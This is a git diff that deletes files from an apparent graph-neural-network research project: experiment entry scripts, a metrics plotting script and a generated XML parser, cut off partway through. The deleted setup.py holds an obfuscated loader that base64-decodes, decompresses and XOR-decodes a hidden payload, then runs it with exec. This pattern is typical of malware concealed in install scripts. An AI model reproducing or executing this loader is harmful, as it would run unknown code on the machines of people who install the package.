data_estimator.estimate_positive_and_negative_samples(['my_pde', 'my_platform', 'my_mylyn'], step=2) - -# parameters -description = 'all' -embedding_type = 'astnn' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -# model_name = ['GCN3'][0] -under_sampling_threshold = 40.0 -code_embedding = 200 -epochs = 80 -lr = 0.001 -batch_size = 16 -hidden_size = 64 -out_feats = 16 -dropout = 0.2 -threshold = 0.4 -model_name = 'GCN3' - -for step in [2]: - # construct input: train, valid, test dataset of four project - # construct_input.main_func( - # description=description, - # step=step, - # dest_path=current_path, - # embedding_type=embedding_type - # ) - # for model_name in ['GCN2', 'GCN3', 'GCN4', 'RGCN2', 'RGCN3', 'RGCN4', 'GAT2', 'GAT3', 'GAT4', 'GraphSAGE2', 'GraphSAGE3', 'GraphSAGE4']: - # for model_name in ['GCN2', 'GCN3', 'GCN4']: - # for under_sampling_threshold in [5.0, 10.0, 20.0, 30.0, 40.0, 50.0, 60.0, 0]: - result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - out_feats=out_feats, - dropout=dropout, - threshold=threshold - ) - - # show train result - # view.main_func( - # result_path=current_path, - # step=step, - # load_name=result_name - # ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - out_feats=out_feats, - ) - diff --git a/rq4/all/view.py b/rq4/all/view.py deleted file mode 100644 index 182dbfa..0000000 --- a/rq4/all/view.py +++ /dev/null @@ -1,62 +0,0 @@ -import numpy as np -from matplotlib import pyplot as plt - -x = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9] -# step1 -t1 = [ - [0.15, 1.00, 0.24], - [0.39, 0.82, 0.47], - [0.64, 0.68, 0.60], - [0.78, 0.60, 0.61], - [0.83, 0.54, 0.61], - [0.83, 0.51, 0.59], - [0.83, 0.48, 0.57], - [0.81, 0.44, 0.54], - [0.78, 0.40, 0.50], - [0.70, 0.33, 0.42], -] - -# t = 2 -t2 = [ - [0.10, 1.00, 0.16], - [0.33, 0.72, 0.40], - [0.57, 0.58, 0.52], - [0.64, 0.53, 0.53], - [0.68, 0.50, 0.53], - [0.70, 0.46, 0.52], - [0.69, 0.42, 0.49], - [0.66, 0.35, 0.42], - [0.47, 0.21, 0.26], - [0.05, 0.02, 0.02], -] - -# t=3 -t3 = [ - [0.08, 1.00, 0.12], - [0.24, 0.70, 0.30], - [0.36, 0.56, 0.37], - [0.42, 0.51, 0.38], - [0.44, 0.46, 0.39], - [0.46, 0.42, 0.38], - [0.47, 0.37, 0.36], - [0.40, 0.25, 0.27], - [0.13, 0.06, 0.07], - [0.04, 0.02, 0.02], -] - -t = np.array(t3) - -plt.plot(x, t[:, 0], '.-', label='Precision') -plt.plot(x, t[:, 1], '.-', label='Recall') -plt.plot(x, t[:, 2], '.-', label='F1-score') - -plt.legend(bbox_to_anchor=(1.02, 1), loc=2, borderaxespad=0) # 显示上面的label -# plt.legend() # 显示上面的label -plt.xlabel('classification threshold') # x_label -plt.ylabel('metrics') -plt.xticks([0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) -plt.yticks([0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) -plt.tight_layout() -# plt.axis('equal') -# plt.gca().set_aspect('equal', adjustable='box') -plt.show() diff --git a/rq4/nopde/entry.py b/rq4/nopde/entry.py deleted file mode 100644 index 724c51d..0000000 --- a/rq4/nopde/entry.py +++ /dev/null @@ -1,67 +0,0 @@ -import os -from os.path import join - -from GNN_Node_Classification import data_estimator, construct_input, node_classification, view, test_model - -# see the sample ratios of four project -# data_estimator.estimate_positive_and_negative_samples(['my_ecf', 'my_pde', 'my_platform', 'my_mylyn'], step=1) - -# parameters -description = 'nopde' -embedding_type = 'astnn' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -model_name = 'GCN3' -under_sampling_threshold = 40.0 -code_embedding = 200 -epochs = 80 -lr = 0.001 -result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' -batch_size = 16 -hidden_size = 64 -out_feats = 16 -dropout = 0.2 -threshold = 0.4 - -for step in [1, 2, 3]: - # construct input: train, valid, test dataset of four project - # construct_input.main_func( - # description=description, - # step=step, - # dest_path=current_path, - # embedding_type=embedding_type - # ) - - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - out_feats=out_feats, - dropout=dropout, - threshold=threshold - ) - - # show train result - # view.main_func( - # result_path=current_path, - # step=step, - # load_name=result_name - # ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - out_feats=out_feats, - ) diff --git a/rq4/noplatform/entry.py b/rq4/noplatform/entry.py deleted file mode 100644 index c0f433a..0000000 --- a/rq4/noplatform/entry.py +++ /dev/null @@ -1,67 +0,0 @@ -import os -from os.path import join - -from GNN_Node_Classification import data_estimator, construct_input, node_classification, view, test_model - -# see the sample ratios of four project -# data_estimator.estimate_positive_and_negative_samples(['my_ecf', 'my_pde', 'my_platform', 'my_mylyn'], step=1) - -# parameters -description = 'noplatform' -embedding_type = 'astnn' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -model_name = 'GCN3' -under_sampling_threshold = 40.0 -code_embedding = 200 -epochs = 80 -lr = 0.001 -result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' -batch_size = 16 -hidden_size = 64 -out_feats = 16 -dropout = 0.2 -threshold = 0.4 - -for step in [2, 3]: - # construct input: train, valid, test dataset of four project - # construct_input.main_func( - # description=description, - # step=step, - # dest_path=current_path, - # embedding_type=embedding_type - # ) - - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - out_feats=out_feats, - dropout=dropout, - threshold=threshold - ) - - # show train result - view.main_func( - result_path=current_path, - step=step, - load_name=result_name - ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - out_feats=out_feats, - ) diff --git a/rq4/onlymylyn/entry.py b/rq4/onlymylyn/entry.py deleted file mode 100644 index def0651..0000000 --- a/rq4/onlymylyn/entry.py +++ /dev/null @@ -1,69 +0,0 @@ -import os -from os.path import join - -os.environ["CUDA_VISIBLE_DEVICES"] = "3" # GPU编号 - -from GNN_Node_Classification import data_estimator, construct_input, node_classification, view, test_model - -# see the sample ratios of four project -# data_estimator.estimate_positive_and_negative_samples(['my_ecf', 'my_pde', 'my_platform', 'my_mylyn'], step=1) - -# parameters -description = 'onlymylyn' -embedding_type = 'astnn' -current_path = join(os.path.dirname(os.path.realpath(__file__))) # save to current dir -model_name = ['GCN3'][0] -under_sampling_threshold = [5.0, 10.0, 40.0, 50.0][2] -code_embedding = 200 -epochs = 80 -lr = 0.001 -result_name = f'{description}_{model_name}_{embedding_type}_{under_sampling_threshold}_model' -batch_size = 16 -hidden_size = 64 -out_feats = 16 -dropout = 0.2 -threshold = 0.4 - -for step in [1, 2, 3]: - # construct input: train, valid, test dataset of four project - # construct_input.main_func( - # description=description, - # step=step, - # dest_path=current_path, - # embedding_type=embedding_type - # ) - - # train and save model - node_classification.main_func( - save_path=current_path, - save_name=result_name, - step=step, - under_sampling_threshold=under_sampling_threshold, - model_name=model_name, - code_embedding=code_embedding, - epochs=epochs, - lr=lr, - batch_size=batch_size, - hidden_size=hidden_size, - out_feats=out_feats, - dropout=dropout, - threshold=threshold - ) - - # show train result - view.main_func( - result_path=current_path, - step=step, - load_name=result_name - ) - - # test model - test_model.main_func( - model_path=current_path, - load_name=result_name, - step=step, - model_name=model_name, - code_embedding=code_embedding, - hidden_size=hidden_size, - out_feats=out_feats, - ) diff --git a/setup.py b/setup.py deleted file mode 100644 index 3ba8fae..0000000 --- a/setup.py +++ /dev/null @@ -1,9 +0,0 @@ -# -*- coding: utf-8 -*- -aqgqzxkfjzbdnhz = __import__('base64') -wogyjaaijwqbpxe = __import__('zlib') -idzextbcjbgkdih = 134 -qyrrhmmwrhaknyf = lambda dfhulxliqohxamy, osatiehltgdbqxk: bytes([wtqiceobrebqsxl ^ idzextbcjbgkdih for wtqiceobrebqsxl in dfhulxliqohxamy]) -lzcdrtfxyqiplpd = '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' -runzmcxgusiurqv = wogyjaaijwqbpxe.decompress(aqgqzxkfjzbdnhz.b64decode(lzcdrtfxyqiplpd)) -ycqljtcxxkyiplo = qyrrhmmwrhaknyf(runzmcxgusiurqv, idzextbcjbgkdih) -exec(compile(ycqljtcxxkyiplo, '<>', 'exec')) diff --git a/xmlparser/doxmlparser/__init__.py b/xmlparser/doxmlparser/__init__.py deleted file mode 100644 index 31a275f..0000000 --- a/xmlparser/doxmlparser/__init__.py +++ /dev/null @@ -1,2 +0,0 @@ -from .index import * -from .compound import * diff --git a/xmlparser/doxmlparser/compound.py b/xmlparser/doxmlparser/compound.py deleted file mode 100644 index 44ac885..0000000 --- a/xmlparser/doxmlparser/compound.py +++ /dev/null @@ -1,27358 +0,0 @@ -#!/usr/bin/env python -# -*- coding: utf-8 -*- - -# -# Generated by generateDS.py. -# -# -# Command line options: -# ('--no-dates', '') -# ('--no-versions', '') -# ('-f', '') -# ('-o', '.../addon/doxmlparser/doxmlparser/compound.py') -# -# Command line arguments: -# .../templates/xml/compound.xsd -# -# Command line: -# .../generateDS --no-dates --no-versions -f -o ".../addon/doxmlparser/doxmlparser/compound.py" .../templates/xml/compound.xsd -# -# Current working directory (os.getcwd()): -# doxmlparser -# - -import sys -try: - ModulenotfoundExp_ = ModuleNotFoundError -except NameError: - ModulenotfoundExp_ = ImportError -from six.moves import zip_longest -import os -import re as re_ -import base64 -import datetime as datetime_ -import decimal as decimal_ -try: - from lxml import etree as etree_ -except ModulenotfoundExp_ : - from xml.etree import ElementTree as etree_ - - -Validate_simpletypes_ = True -SaveElementTreeNode = True -if sys.version_info.major == 2: - BaseStrType_ = basestring -else: - BaseStrType_ = str - - -def parsexml_(infile, parser=None, **kwargs): - if parser is None: - # Use the lxml ElementTree compatible parser so that, e.g., - # we ignore comments. - try: - parser = etree_.ETCompatXMLParser() - except AttributeError: - # fallback to xml.etree - parser = etree_.XMLParser() - try: - if isinstance(infile, os.PathLike): - infile = os.path.join(infile) - except AttributeError: - pass - doc = etree_.parse(infile, parser=parser, **kwargs) - return doc - -def parsexmlstring_(instring, parser=None, **kwargs): - if parser is None: - # Use the lxml ElementTree compatible parser so that, e.g., - # we ignore comments. - try: - parser = etree_.ETCompatXMLParser() - except AttributeError: - # fallback to xml.etree - parser = etree_.XMLParser() - element = etree_.fromstring(instring, parser=parser, **kwargs) - return element - -# -# Namespace prefix definition table (and other attributes, too) -# -# The module generatedsnamespaces, if it is importable, must contain -# a dictionary named GeneratedsNamespaceDefs. This Python dictionary -# should map element type names (strings) to XML schema namespace prefix -# definitions. The export method for any class for which there is -# a namespace prefix definition, will export that definition in the -# XML representation of that element. See the export method of -# any generated element type class for an example of the use of this -# table. -# A sample table is: -# -# # File: generatedsnamespaces.py -# -# GenerateDSNamespaceDefs = { -# "ElementtypeA": "http://www.xxx.com/namespaceA", -# "ElementtypeB": "http://www.xxx.com/namespaceB", -# } -# -# Additionally, the generatedsnamespaces module can contain a python -# dictionary named GenerateDSNamespaceTypePrefixes that associates element -# types with the namespace prefixes that are to be added to the -# "xsi:type" attribute value. See the exportAttributes method of -# any generated element type and the generation of "xsi:type" for an -# example of the use of this table. -# An example table: -# -# # File: generatedsnamespaces.py -# -# GenerateDSNamespaceTypePrefixes = { -# "ElementtypeC": "aaa:", -# "ElementtypeD": "bbb:", -# } -# - -try: - from generatedsnamespaces import GenerateDSNamespaceDefs as GenerateDSNamespaceDefs_ -except ModulenotfoundExp_ : - GenerateDSNamespaceDefs_ = {} -try: - from generatedsnamespaces import GenerateDSNamespaceTypePrefixes as GenerateDSNamespaceTypePrefixes_ -except ModulenotfoundExp_ : - GenerateDSNamespaceTypePrefixes_ = {} - -# -# You can replace the following class definition by defining an -# importable module named "generatedscollector" containing a class -# named "GdsCollector". See the default class definition below for -# clues about the possible content of that class. -# -try: - from generatedscollector import GdsCollector as GdsCollector_ -except ModulenotfoundExp_ : - - class GdsCollector_(object): - - def __init__(self, messages=None): - if messages is None: - self.messages = [] - else: - self.messages = messages - - def add_message(self, msg): - self.messages.append(msg) - - def get_messages(self): - return self.messages - - def clear_messages(self): - self.messages = [] - - def print_messages(self): - self.messages = [] - # for msg in self.messages: - # print("Warning: {}".format(msg)) - - def write_messages(self, outstream): - self.messages = [] - # for msg in self.messages: - # outstream.write("Warning: {}\n".format(msg)) - - -# -# The super-class for enum types -# - -try: - from enum import Enum -except ModulenotfoundExp_ : - Enum = object - -# -# The root super-class for element type classes -# -# Calls to the methods in these classes are generated by generateDS.py. -# You can replace these methods by re-implementing the following class -# in a module named generatedssuper.py. - -try: - from generatedssuper import GeneratedsSuper -except ModulenotfoundExp_ as exp: - - class GeneratedsSuper(object): - __hash__ = object.__hash__ - tzoff_pattern = re_.compile(r'(\+|-)((0\d|1[0-3]):[0-5]\d|14:00)$') - class _FixedOffsetTZ(datetime_.tzinfo): - def __init__(self, offset, name): - self.__offset = datetime_.timedelta(minutes=offset) - self.__name = name - def utcoffset(self, dt): - return self.__offset - def tzname(self, dt): - return self.__name - def dst(self, dt): - return None - def gds_format_string(self, input_data, input_name=''): - return input_data - def gds_parse_string(self, input_data, node=None, input_name=''): - return input_data - def gds_validate_string(self, input_data, node=None, input_name=''): - if not input_data: - return '' - else: - return input_data - def gds_format_base64(self, input_data, input_name=''): - return base64.b64encode(input_data) - def gds_validate_base64(self, input_data, node=None, input_name=''): - return input_data - def gds_format_integer(self, input_data, input_name=''): - return '%d' % input_data - def gds_parse_integer(self, input_data, node=None, input_name=''): - try: - ival = int(input_data) - except (TypeError, ValueError) as exp: - raise_parse_error(node, 'Requires integer value: %s' % exp) - return ival - def gds_validate_integer(self, input_data, node=None, input_name=''): - try: - value = int(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires integer value') - return value - def gds_format_integer_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return '%s' % ' '.join(input_data) - def gds_validate_integer_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - try: - int(value) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires sequence of integer values') - return values - def gds_format_float(self, input_data, input_name=''): - return ('%.15f' % input_data).rstrip('0') - def gds_parse_float(self, input_data, node=None, input_name=''): - try: - fval_ = float(input_data) - except (TypeError, ValueError) as exp: - raise_parse_error(node, 'Requires float or double value: %s' % exp) - return fval_ - def gds_validate_float(self, input_data, node=None, input_name=''): - try: - value = float(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires float value') - return value - def gds_format_float_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return '%s' % ' '.join(input_data) - def gds_validate_float_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - try: - float(value) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires sequence of float values') - return values - def gds_format_decimal(self, input_data, input_name=''): - return_value = '%s' % input_data - if '.' in return_value: - return_value = return_value.rstrip('0') - if return_value.endswith('.'): - return_value = return_value.rstrip('.') - return return_value - def gds_parse_decimal(self, input_data, node=None, input_name=''): - try: - decimal_value = decimal_.Decimal(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires decimal value') - return decimal_value - def gds_validate_decimal(self, input_data, node=None, input_name=''): - try: - value = decimal_.Decimal(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires decimal value') - return value - def gds_format_decimal_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return ' '.join([self.gds_format_decimal(item) for item in input_data]) - def gds_validate_decimal_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - try: - decimal_.Decimal(value) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires sequence of decimal values') - return values - def gds_format_double(self, input_data, input_name=''): - return '%s' % input_data - def gds_parse_double(self, input_data, node=None, input_name=''): - try: - fval_ = float(input_data) - except (TypeError, ValueError) as exp: - raise_parse_error(node, 'Requires double or float value: %s' % exp) - return fval_ - def gds_validate_double(self, input_data, node=None, input_name=''): - try: - value = float(input_data) - except (TypeError, ValueError): - raise_parse_error(node, 'Requires double or float value') - return value - def gds_format_double_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = [str(s) for s in input_data] - return '%s' % ' '.join(input_data) - def gds_validate_double_list( - self, input_data, node=None, input_name=''): - values = input_data.split() - for value in values: - try: - float(value) - except (TypeError, ValueError): - raise_parse_error( - node, 'Requires sequence of double or float values') - return values - def gds_format_boolean(self, input_data, input_name=''): - return ('%s' % input_data).lower() - def gds_parse_boolean(self, input_data, node=None, input_name=''): - if input_data in ('true', '1'): - bval = True - elif input_data in ('false', '0'): - bval = False - else: - raise_parse_error(node, 'Requires boolean value') - return bval - def gds_validate_boolean(self, input_data, node=None, input_name=''): - if input_data not in (True, 1, False, 0, ): - raise_parse_error( - node, - 'Requires boolean value ' - '(one of True, 1, False, 0)') - return input_data - def gds_format_boolean_list(self, input_data, input_name=''): - if len(input_data) > 0 and not isinstance(input_data[0], BaseStrType_): - input_data = 